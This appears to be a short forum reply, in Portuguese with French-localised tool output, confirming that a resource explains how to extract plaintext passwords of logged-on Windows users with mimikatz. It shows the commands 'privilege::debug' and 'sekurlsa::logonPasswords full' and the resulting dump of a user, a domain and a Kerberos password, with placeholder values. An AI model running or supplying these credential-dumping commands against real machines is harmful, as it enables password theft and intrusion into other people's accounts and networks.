Sim.
Desvenda as senhas em texto puro do (s) usuário (s) logado (s) explica como usar mimikatz para fazer exatamente isso:
mimikatz # privilege::debug
Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK
mimikatz # sekurlsa::logonPasswords full
...
Utilisateur principal : user
Domaine d'authentification : domain
kerberos :
* Utilisateur : user
* Domaine : domain
* Mot de passe : pass